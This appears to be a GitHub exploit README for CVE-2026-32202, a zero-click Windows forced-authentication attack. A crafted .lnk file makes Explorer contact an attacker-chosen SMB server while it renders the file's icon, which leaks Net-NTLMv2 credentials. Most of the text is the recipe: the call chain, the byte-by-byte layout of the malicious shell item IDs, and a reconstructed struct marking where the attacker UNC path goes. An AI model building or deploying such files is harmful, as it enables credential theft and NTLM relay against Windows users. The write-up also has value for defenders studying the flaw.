asdrf5gh67j8ki/cve-2026-32202Zero-click forced authentication exploit for Windows Control Panel folder. Crafted .lnk triggers UNC resolution during icon render, coercing outbound SMB connection that leaks Net-NTLMv2 credentials via incomplete CVE-2026-21510 patch.
Zero-click forced authentication: viewing a folder with the crafted .lnk triggers UNC resolution during icon render, coercing the victim into an attacker-directed outbound connection that leaks (and enables relay of) their Net-NTLMv2 credentials. Emerged due to an incomplete patch of CVE-2026-21510: the trust verification Microsoft added only worked during the ShellExecuteExW call, at invocation, but the damage is already done at the point of CControlPanelFolder::GetUIObjectOf, which is called before any ShellExecute trust verification takes place.
Explorer calls CControlPanelFolder::GetUIObjectOf to get the icon -> CControlPanelFolder::GetModuleMapped -> PathFileExistsW(modulepath) -> GetFileAttributesW(modulepath). If modulepath is a UNC path, an outbound SMB connection is made. No invocation required; querying whether the file exists triggers a remote stat, and that forces the SMB connection. The SMB redirector opens a connection to an arbitrary server (TCP/445), triggering automatic NTLM auth and leaking the victim's Net-NTLMv2 hash. 0click, viewing the icon is enough to trigger.
LinkTargetIDList
. IDListSize = 0xXXXX
. ITEMIDLIST =
. [SHITEMID] - Item #1 (binds CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F - (CLSID (GUID) shell item)
abID[1] = 0x80 - (sort order index, hint, not part of the GUID)
abID[2..17] = 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D - (Control Panel CLSID)
. [SHITEMID] - Item #2 (All Control Panel Items view of CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F
abID[1] = 0x80
abID[2..17] = 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83 - (All Control Panel Items CLSID)
. [SHITEMID] - Item #3 (CPL item parsed by CControlPanelFolder::GetUIObjectOf at render)
cb = 0xXX 0x00 - > 0x18 required; _IsUnicodeCPLWorker: cb must exceed 24
+0x02 .. - header bytes; +0x07 signature masked 0x00 or 0xFF (sub_18037D040 Gate 0)
+0x08 WORD = 0 - (checked by _IsUnicodeCPLWorker)
+0x0A WORD = 0 - (checked)
+0x0C BYTE = 0 - (checked)
+0x0D BYTE = 0x6A - Unicode-CPL type tag; flips parsing to the wide path
+0x14 WORD - wide offset (WCHARs) to string #2, ex. display name
+0x16 WORD - wide offset (WCHARs) to string #3
+0x18 WCHAR[] - wide string #1 = module path, attacker UNC goes here
The Control Panel applet item type contains a field for a module path. A module path is the path to the .cpl module. Shell Item #3 contains a Unicode Control Panel applet item (_IDCONTROLW). Note the item is not identified by the shell-item class-type byte (abID[0]). Instead, the raw bytes are treated as an _IDCONTROLW when _IsUnicodeCPLWorker confirms all five conditions:
That predicate is what allows the code to read +0x18 as a module path. _IsUnicodeCPLWorker looks at the raw item bytes, checks these five conditions, and if they pass it just returns the same pointer cast to a _IDCONTROLW*.
struct _IDCONTROLW{
/* +0x00 */ WORD cb; // item size; _IsUnicodeCPLWorker requires cb > 0x18
/* +0x02 */ BYTE bClassType; // abID[0] in SHITEMID terms (shell-item type indicator)
/* +0x03 */ BYTE unk_03; // (high bytes of the +0x04 dword; +0x07 masked 0x00/0xFF in sub_18037D040 Gate 0)
/* +0x04 */ BYTE unk_04;
/* +0x05 */ BYTE unk_05;
/* +0x06 */ BYTE unk_06;
/* +0x07 */ BYTE bSig07; // (dword@+0x04 & 0xFF000000) must be 0x00 or 0xFF
/* +0x08 */ WORD mustBeZero_08; // checked == 0 by _IsUnicodeCPLWorker
/* +0x0A */ WORD mustBeZero_0A; // checked == 0
/* +0x0C */ BYTE mustBeZero_0C; // checked == 0
/* +0x0D */ BYTE bUnicodeTag; // == 0x6A : the Unicode-CPL tag (the thing "confirmed")
/* +0x0E */ BYTE unk_0E[6]; // unknown (spans to +0x13)
/* +0x14 */ WORD offString2; // WCHAR offset (into payload) to string #2 — e.g. display name
/* +0x16 */ WORD offString3; // WCHAR offset to string #3
/* +0x18 */ WCHAR szModule[]; // string #1 = module path <-- attacker UNC; GetModule copies from base+24 verbatim
};